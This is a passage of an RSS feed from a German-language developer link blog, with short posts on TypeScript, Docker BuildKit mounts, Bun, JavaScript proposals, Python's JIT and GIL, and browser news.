</content:encoded><language>de-DE</language><category>firefox</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/12/20/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/12/20/0.html</guid><pubDate>Wed, 20 Dec 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Dokumentation von TS-Projekten wird bisher immer relativ dezentral gemacht. In meinen Projekten benutze ich tsdoc, ein CLI-Tool zum erstellen einer statischen Seite, um eine Seite für GitHub Pages zu generieren. In anderen Sprachen gibt&apos;s ne zentrale Stelle, die die Docs aus den Paketen in der entsprechenden Paketverwaltung ziehen (z. B. bei Rust). Das hat vor allem den Vorteil, dass die Docs immer zu der bestimmten Version passen. Das Versionieren müsste man vorher selbst übernehmen - und dann war auch nicht garantiert, dass die Versionen nicht divergiert sind.&lt;/p&gt;
&lt;p&gt;Jetzt hat jemand &lt;a href=&quot;https://tsdocs.dev&quot;&gt;tsdocs.dev&lt;/a&gt; gebaut. Die Seite lädt das npm-Paket und baut aus den Typen innerhalb des Pakets eine Seite, die ähnlich zu den normale tsdoc-Seiten aussieht, zusammen mit der Version.&lt;/p&gt;
&lt;p&gt;Interessante Lösung. Mal schauen, ob sich das durchsetzt.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>typescript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/12/27/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/12/27/0.html</guid><pubDate>Wed, 27 Dec 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://forrestheller.com/Apollo-11-Computer-vs-USB-C-chargers.html&quot;&gt;Apollo 11 Guidance Computer (AGC) vs USB-C Chargers&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/12/27/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/12/27/1.html</guid><pubDate>Wed, 27 Dec 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://code.visualstudio.com/blogs/2018/03/23/text-buffer-reimplementation&quot;&gt;VSCode Text Buffer Reimplementation&lt;/a&gt; (2018). Geht im eine optimierte Variante von &lt;a href=&quot;https://en.wikipedia.org/wiki/Piece_table&quot;&gt;Piece Tables&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>datenstrukturen</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/01/03/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/01/03/0.html</guid><pubDate>Wed, 03 Jan 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Gerade wieder drüber gestolpert: &lt;a href=&quot;https://media.ccc.de/v/33c3-8315-a_world_without_blockchain&quot;&gt; A world without blockchain -  How (inter)national money transfers works&lt;/a&gt;. Höchst spannende Edge-Cases, die alles echt kompliziert machen. Da fängt man an, zu verstehen, wofür Banken Blockchains tatsächlich gebrauchen könnten.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/01/03/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/01/03/1.html</guid><pubDate>Wed, 03 Jan 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://twitter.com/Bertrand_Meyer/status/1742613897675178347&quot;&gt;Niklaus Wirth&lt;/a&gt; ist verstorben.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/01/04/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/01/04/0.html</guid><pubDate>Thu, 04 Jan 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Tief einatmen: &lt;a href=&quot;https://www.infoq.com/news/2024/01/mysql-javascript-procedures/&quot;&gt;MySQL Introduces Javascript Support in Preview&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>db</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/01/05/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/01/05/0.html</guid><pubDate>Fri, 05 Jan 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ich finde bei der Scream-Reihe ja immer lustig, wie der vorherige Film im Film vorkommt. Das geht teilweise mehrere Layer tief. Hier gibt es eine Übersicht an &quot;Filmen in Filmen&quot;, die sowas sammelt: &lt;a href=&quot;https://nestflix.fun&quot;&gt;Nestflix&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/01/06/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/01/06/0.html</guid><pubDate>Sat, 06 Jan 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://lyra.horse/misc/chromium_vrp_tree.html&quot;&gt;Chromium Money Tree Browser&lt;/a&gt;. Coole Visualisierung.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/01/06/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/01/06/1.html</guid><pubDate>Sat, 06 Jan 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://time.fyi&quot;&gt;time.fyi&lt;/a&gt; hat eine hübsche Darstellung von &lt;a href=&quot;https://time.fyi/timezones&quot;&gt;Zeitzonenvergleich&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>tools</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/01/08/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/01/08/0.html</guid><pubDate>Mon, 08 Jan 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Web-Components für WASM-basierte Code-Playgrounds: &lt;a href=&quot;https://antonz.org/in-browser-code-playgrounds&quot;&gt;In-browser code playgrounds&lt;/a&gt;. Damit spart man sich eine Backend-Infra, die Code vom User ausführt.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/01/08/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/01/08/1.html</guid><pubDate>Mon, 08 Jan 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Useful utilities and services over DNS: &lt;a href=&quot;https://www.dns.toys&quot;&gt;dns.toys&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/01/09/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/01/09/0.html</guid><pubDate>Tue, 09 Jan 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://tonybaloney.github.io/posts/python-gets-a-jit.html&quot;&gt;CPython bekommt bei 3.13 einen JIT&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>python</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/01/11/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/01/11/0.html</guid><pubDate>Thu, 11 Jan 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;TIL &lt;a href=&quot;https://docs.docker.com/engine/reference/commandline/system_df/&quot;&gt;&lt;code&gt;docker system df&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# docker system df
TYPE            TOTAL     ACTIVE    SIZE      RECLAIMABLE
Images          5         5         1.318GB   858.6MB (65%)
Containers      5         5         3.416kB   0B (0%)
Local Volumes   5         1         442B      354B (80%)
Build Cache     0         0         0B        0B
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><language>de-DE</language><category>docker</category><category>til</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/01/13/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/01/13/0.html</guid><pubDate>Sat, 13 Jan 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://blog.freudenjmp.com/posts/no-user-logon&quot;&gt;A decade long Steam issue, is everyone just too fast for Valve?&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/01/13/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/01/13/1.html</guid><pubDate>Sat, 13 Jan 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://jobs.apple.com/en-us/details/200531386/compiler-frontend-engineer&quot;&gt;Apple sucht Compiler-Leute, die den Interop von Swift und C++ verbessern&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Swift ist IMHO eine wirklich unterschätzte Sprache. Die haben keine Angst vor breaking Changes und trotzdem schaffen sie es, kein Python 3 zu erzeugen. Der Code ist üblicherweise sehr lesbar und seit einiger Zeit haben sie sogar &lt;a href=&quot;https://github.com/apple/swift/blob/0cc72fb3446a846a69e5edb8819018c3ffe19c9a/docs/OwnershipManifesto.md&quot;&gt;ein Ownership-Modell&lt;/a&gt;, das zwar etwas verboser ist, aber IMHO deutlich verständlicher als das von Rust ist.
Vielleicht wären sie populärer geworden, wenn Linux- und Windows-Support nicht so lange gedauert hätte, wer weiß ¯\_(ツ)_/¯&lt;/p&gt;
</content:encoded><language>de-DE</language><category>compiler</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/01/13/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/01/13/2.html</guid><pubDate>Sat, 13 Jan 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://github.com/Crissov/unicode-proposals/issues?q=is%3Aissue+is%3Aopen+sort%3Aupdated-desc&quot;&gt;Sammlung von Proposals für neue Zeichen für Unicode&lt;/a&gt;. Darunter auch die &lt;a href=&quot;https://github.com/Crissov/unicode-proposals/issues/410&quot;&gt;Waschkennzeichnungen aus ISO 3758&lt;/a&gt;. Die Symbole selbst sind in &lt;a href=&quot;https://www.iso.org/obp/ui#iso:pub:PUB400001:en&quot;&gt;ISO 7000&lt;/a&gt; genormt. Ein User auf Wikipedia hat scheinbar &lt;a href=&quot;https://de.wikipedia.org/wiki/Benutzer:Maxi123ID/ISO_7000_table&quot;&gt;jedes Zeichen davon als SVG in sein Nutzerprofil gepackt&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/01/14/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/01/14/0.html</guid><pubDate>Sun, 14 Jan 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Für TS 5.4 steht im Iteration-Plan ein Champion zu &lt;a href=&quot;https://github.com/tc39/proposal-throw-expressions&quot;&gt;Throw Expressions&lt;/a&gt; auf der Liste. Kommt von rbuckton, einem TS-Engineer bei MS. Das Feature ansich begrüße ich. C# hat das &quot;Problem&quot; auch so gelöst, womit man sehr viele Dinge abkürzen kann. Bei Java sind &lt;code&gt;throw&lt;/code&gt;s selbst mit den neuen Switch-Expressions weiterhin noch Statements, weshalb sie für Switch extra die Grammatik angepasst haben, um &lt;code&gt;throw&lt;/code&gt; zu erlauben. Das würde for free kommen, wenn &lt;code&gt;throw&lt;/code&gt; einfach eine Expression wäre.&lt;/p&gt;
&lt;p&gt;Wenn ich das richtig sehe, steht das Proposal kurz vor Stage 3 und damit kurz vor der finalen Umsetzung in JS.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>typescript</category><category>javascript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/01/16/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/01/16/0.html</guid><pubDate>Tue, 16 Jan 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;TIL: Das &lt;a href=&quot;https://stackoverflow.com/questions/73375011/what-is-the-purpose-of-the-scoped-keyword&quot;&gt;&lt;code&gt;scoped&lt;/code&gt;-Keyword&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>c-sharp</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/01/19/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/01/19/0.html</guid><pubDate>Fri, 19 Jan 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Zu Docker hab ich noch was neues gelernt. Man kann jetzt (mit &lt;code&gt;DOCKER_BUILDKIT=1&lt;/code&gt;) auch bei einzelnen RUN-Commands Dinge mounten. Das ist ganz praktisch für Lockfiles oder Dinge, die man nur ein Mal braucht. Dazu gibt es neben Bind-Mounts auch Cahce-Mounts, womit man ein Cache-Verzeichnis in den Build-Container mounten kann. Nimmt natürlich etwas Reproduzierbarkeit, aber in gewissen Fällen (npm, rust) kann man damit echt viel Zeit sparen:&lt;/p&gt;
&lt;p&gt;Aus&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;COPY package.json package-lock.json ./
RUN npm ci

COPY ./Cargo.toml ./Cargo.toml
RUN cargo fetch

COPY ./clitool.c /clitool.c
RUN g++ -O3 -o /bin/clitool /clitool.c
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Wird:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;RUN --mount=type=bind,source=package.json,target=package.json \
	--mount=type=bind,source=package-lock.json,target=package-lock.json \
	--mount=type=cache,target=/root/.npm \ # mit cache des globalen npm-caches
	npm ci


RUN --mount=type=bind,source=Cargo.toml,target=Cargo.toml \
	cargo fetch

RUN --mount=type=bind,source=clitool.c,target=/clitool.c \
	g++ -O3 -o /bin/clitool /clitool.c
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Je nach Fall kann man sich damit sogar eine Multi-Stage-Dockerfile ersparen.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>docker</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/01/19/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/01/19/1.html</guid><pubDate>Fri, 19 Jan 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Bun kann mittlerweile nicht nur Rust und sonst irgendwie alles importieren, sondern auch SQLite-Datenbanken:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import db from &apos;./my.db&apos; with { type: &quot;sqlite&quot; };

const { id } = db
  .query(&quot;SELECT id FROM users LIMIT 1&quot;)
  .get();

console.log(id); // 1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Man kann mit Bun seine Anwendung ja auch in eine einzige Binary bundlen. Wenn man das macht beim obigen, muss beim Ausführen die DB im aktuellen Verzeichnis liegen. Man kann die DB aber auch in dei Binary embedden:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import db from &apos;./my.db&apos;
          with {
            type: &quot;sqlite&quot;,
            // Embed the database into the executable
            embed: &quot;true&quot;
          };

const { id } = db
  .query(&quot;SELECT id FROM users LIMIT 1&quot;)
  .get();

console.log(id); // 1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ob die DB da aber nur im Readonly-Modus geöffnet wird, wird im Blog nicht beschrieben. Ich gehe mla davon aus.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>nodejs</category><category>bun</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/01/23/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/01/23/0.html</guid><pubDate>Tue, 23 Jan 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://blog.mozilla.org/en/products/4-reasons-to-try-mozillas-new-firefox-linux-package-for-ubuntu-and-debian-derivatives/&quot;&gt;Firefox bringt wieder deb-Pakete&lt;/a&gt;. Freut mich sehr, wie die Snaps immer sehr langsam waren.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>linux</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/01/29/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/01/29/0.html</guid><pubDate>Mon, 29 Jan 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Die Curl-CLI hat einen Parameter &lt;a href=&quot;https://everything.curl.dev/libcurl/libcurl&quot;&gt;&lt;code&gt;--libcurl &amp;lt;filename&amp;gt;&lt;/code&gt;&lt;/a&gt;, mit dem man sich ein C-Programm ausgeben lassen kann, welches die libcurl so benutzt, dass der Request dabei heraus kommt, den man mit der Curl-CLI gemacht hat.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>til</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/01/29/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/01/29/1.html</guid><pubDate>Mon, 29 Jan 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Hack der Woche:
&lt;a href=&quot;https://github.com/dy/linefont&quot;&gt;linefont&lt;/a&gt; - eine Schriftart, mit der man Zeitreihen plotten kann. Font-Stacks sind ja mittlerweile super komplex und Fonts selbst auch eigene Programme. Für diese Schriftart muss man mit ein bisschen JS aus einer Zeitreihe die Schriftzeichen generieren, die dann mit der Font gerendert werden müssen.&lt;/p&gt;
&lt;p&gt;Ich bin mir sicher, das würde auch ohne diesen Zwischenschritt gehen und man könnte das auch so machen, dass man einfach die Werte kommasepariert aufschreibt. Es gibt ja auch Schriftarten, die &lt;a href=&quot;https://vole.wtf/scunthorpe-sans/&quot;&gt;profanität zensieren&lt;/a&gt;. Oder ein &lt;a href=&quot;http://projectseen.com&quot;&gt;Kunstprojekt&lt;/a&gt;, als die NSA-Geschichte vor 10 Jahren hochkam.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://dy.github.io/linefont/scripts&quot;&gt;Hier eine Demo&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Ist natürlich a11y-Hölle, aber vielleicht ganz nützlich für interne Tools, wenn man keine Lust hat, ein ganzes Frontend-Plotting-Framework einzubinden, wenn man nur ne kleine Zeitreihe plotten will.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/01/29/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/01/29/2.html</guid><pubDate>Mon, 29 Jan 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://devblogs.microsoft.com/typescript/announcing-typescript-5-4-beta/&quot;&gt;TypeScript 5.4 Beta&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>typescript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/01/30/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/01/30/0.html</guid><pubDate>Tue, 30 Jan 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Deno hat gerade eine &lt;a href=&quot;https://deno.com/blog/v1.40#temporal-api&quot;&gt;Version&lt;/a&gt; mit der &lt;a href=&quot;https://github.com/tc39/proposal-temporal&quot;&gt;Temporal API&lt;/a&gt; geshippt. Das war schon sehr lange in Stage 3, aber durch Abhängigkeit zu anderen Prozesse durften noch keine Implementierungen ohne Feature-Flag geshippt werden. &lt;a href=&quot;https://github.com/tc39/proposal-temporal/commit/93725245f5c39aee4d9671d8c9fa8e4bd8e57cf2&quot;&gt;Vor drei Wochen&lt;/a&gt; wurde der Hinweis dazu entfernt. Deno dürfte damit die erste Plattform sein, die es hat.&lt;/p&gt;
&lt;p&gt;Hoffentlich ziehen die anderen nach, die API ist lange überfällig.&lt;/p&gt;
&lt;p&gt;Edit:
Bei Deno ist es noch hinter einem Flag: &lt;code&gt;--unstable-temporal&lt;/code&gt;. Ich glaube, sie sind trotzdem die ersten, die es überhaupt shippen.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>nodejs</category><category>deno</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/02/02/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/02/02/0.html</guid><pubDate>Fri, 02 Feb 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;WebKit &lt;a href=&quot;https://webkit.org/blog/14955/the-web-just-gets-better-with-interop/&quot;&gt;zieht eine gute Bilanz&lt;/a&gt; aus dem Bestreben, das Web mehr interoperabel zu machen. In der Liste darunter sind auch ein paar coole, neue Features. Darunter das &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/inert&quot;&gt;&lt;code&gt;inert&lt;/code&gt;-Attribut&lt;/a&gt;, &lt;code&gt;font-size-adjust&lt;/code&gt;, &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/@starting-style&quot;&gt;&lt;code&gt;@starting-style&lt;/code&gt;&lt;/a&gt;. Gerade das letzte sieht sehr spannend aus.&lt;/p&gt;
&lt;p&gt;Ich finde es schön, dass die Browserhersteller zusammenarbeiten. Wenn man aber liest, auf was die sich so bei der Umsetzung konzentrieren: Das sind größtenteils alles neue Features, die sie am Ende wahrscheinlich eh alle umsetzen würden. Da liegt nicht wirklich der Fokus darauf, die Sachen zu fixen, bei denen die Browser schon länger divergent sind.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>html</category><category>css</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/02/05/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/02/05/0.html</guid><pubDate>Mon, 05 Feb 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://github.com/atopile/atopile&quot;&gt;atopile&lt;/a&gt; ist eine Sprache, mit der man Schaltkreise beschreiben kann. Komponenten kann man in Module aufteilen, erweitern etc. Die haben sogar CI-Support und einen Package-Manager. Bei Bauteilen kann man auch nur die benötigten Specs angeben und es werden passende Bauteile aus dem Katalog ausgesucht.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=7-Q0XVpfW3Y&quot;&gt;Hier&lt;/a&gt; ist eine Demo. &lt;a href=&quot;https://atopile.io/getting-started/&quot;&gt;Getting Started&lt;/a&gt; ist hier.&lt;/p&gt;
&lt;p&gt;Das ist &lt;em&gt;wirklich&lt;/em&gt; cool.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>language-design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/02/06/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/02/06/0.html</guid><pubDate>Tue, 06 Feb 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Die Promise-API hat jetzt eine &lt;code&gt;withResolvers&lt;/code&gt;-Funktion.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const { promise, resolve, reject } = Promise.withResolvers();

Math.random() &amp;gt; 0.5 ? resolve(&quot;ok&quot;) : reject(&quot;not ok&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Is eine Kurzform dafür, dass man früher die Resolve-Funktion im Promise-Konstruktor nach außem assigned hat. Ältere Leute werden sich vielleicht erinnern, dass das ähnlich zu einem &lt;a href=&quot;https://api.jquery.com/jQuery.Deferred/&quot;&gt;Deferred aus JQuery&lt;/a&gt; ist.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://pawelgrzybek.com/deferred-javascript-promises-using-promise-withresolvers/&quot;&gt;Mehr in diesem schönen Post&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>javascript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/02/14/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/02/14/0.html</guid><pubDate>Wed, 14 Feb 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://dev.to/hemanth/updates-from-the-100th-tc39-meeting-4j2f&quot;&gt;Neuerungen bei den TC39-Proposals&lt;/a&gt;. Darunter ist auch &lt;a href=&quot;https://github.com/tc39/proposal-arraybuffer-base64&quot;&gt;&lt;code&gt;Uint8Array.fromBase64&lt;/code&gt;&lt;/a&gt;. Das war dringend notwendig!&lt;/p&gt;
</content:encoded><language>de-DE</language><category>javascript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/02/14/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/02/14/1.html</guid><pubDate>Wed, 14 Feb 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ein super Talk über häufig nicht verwendete Sachen in git: &lt;a href=&quot;https://www.youtube.com/watch?v=aolI_Rz0ZqY&quot;&gt;So You Think You Know Git?&lt;/a&gt; von Scott Chacon, einem Mitgründer von GitHub und dem CEO vom Git-Client GitButler.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>cli</category><category>git</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/02/15/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/02/15/0.html</guid><pubDate>Thu, 15 Feb 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Eine interessante API, mit der man sich ein bisschen gefummel sparen kann: &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/URLPattern&quot;&gt;URLPattern&lt;/a&gt;. &lt;a href=&quot;https://deno.land/api@v1.40.5?s=URLPattern&quot;&gt;Deno&lt;/a&gt; kann es schon und hat ein paar Beispiele.
Damit können bestimmt einige Web-Frameworks ihren Parser neu schreiben und nochmal schneller sein, sofern das URLPattern nativ implementiert wird. Vielleicht kann man das mit TS sogar so statisch typisieren, dass der die Variablen-Platzhalter mit teil des Typs sind.&lt;/p&gt;
&lt;p&gt;(&lt;a href=&quot;https://caniuse.com/mdn-api_urlpattern&quot;&gt;caniuse&lt;/a&gt;, &lt;a href=&quot;https://bugzilla.mozilla.org/show_bug.cgi?id=1731418&quot;&gt;Mozillas Bugtracker&lt;/a&gt;, &lt;a href=&quot;https://urlpattern.spec.whatwg.org/&quot;&gt;Spec&lt;/a&gt;, &lt;a href=&quot;https://github.com/whatwg/urlpattern/blob/main/explainer.md#urlpattern&quot;&gt;Explainer&lt;/a&gt;)&lt;/p&gt;
</content:encoded><language>de-DE</language><category>javascript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/02/15/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/02/15/1.html</guid><pubDate>Thu, 15 Feb 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://techcrunch.com/2024/02/15/apple-confirms-its-breaking-iphone-web-apps-in-the-eu-on-purpose/&quot;&gt;Uff&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;security researcher &lt;a href=&quot;https://x.com/mysk_co/status/1753401847044288847?s=20&quot;&gt;Tommy Mysk&lt;/a&gt; and &lt;a href=&quot;https://open-web-advocacy.org/blog/did-apple-just-break-web-apps-in-ios17.4-beta-eu/&quot;&gt;Open Web Advocacy&lt;/a&gt; first noticed that PWAs &lt;a href=&quot;https://www.macrumors.com/2024/02/08/ios-17-4-nerfs-web-apps-in-the-eu&quot;&gt;had been demoted&lt;/a&gt; to website shortcuts with the release of the second beta of iOS 17.4. Initially, it was unclear if this was a beta bug — stranger things have happened — or if it was intended to undermine the functionality of PWAs in the EU, a market where Apple is now being forced to allow alternative app stores, third-party payments, and alternative browser engines, among other things&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/02/17/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/02/17/0.html</guid><pubDate>Sat, 17 Feb 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://react.dev/blog/2024/02/15/react-labs-what-we-have-been-working-on-february-2024&quot;&gt;React 19&lt;/a&gt; ist jetzt quasi im canary-channel.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>react</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/03/06/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/03/06/0.html</guid><pubDate>Wed, 06 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://devblogs.microsoft.com/typescript/announcing-typescript-5-4/&quot;&gt;TypeScript 5.4&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>typescript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/03/06/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/03/06/1.html</guid><pubDate>Wed, 06 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://github.com/NilsIrl/dockerc&quot;&gt;dockerc&lt;/a&gt; kann aus Docker-Images standalone-Binarys machen. Quasi AppImage für Leute, die kein AppImage wollen.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>tools</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/03/11/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/03/11/0.html</guid><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://github.com/python/cpython/pull/116338&quot;&gt;Allow disabling the GIL with &lt;code&gt;PYTHON_GIL=0&lt;/code&gt; or &lt;code&gt;-X gil=0&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>python</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/03/18/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/03/18/0.html</guid><pubDate>Mon, 18 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://rxdb.info/articles/websockets-sse-polling-webrtc-webtransport.html&quot;&gt;WebSockets vs Server-Sent-Events vs Long-Polling vs WebRTC vs WebTransport&lt;/a&gt;.&lt;/p&gt;
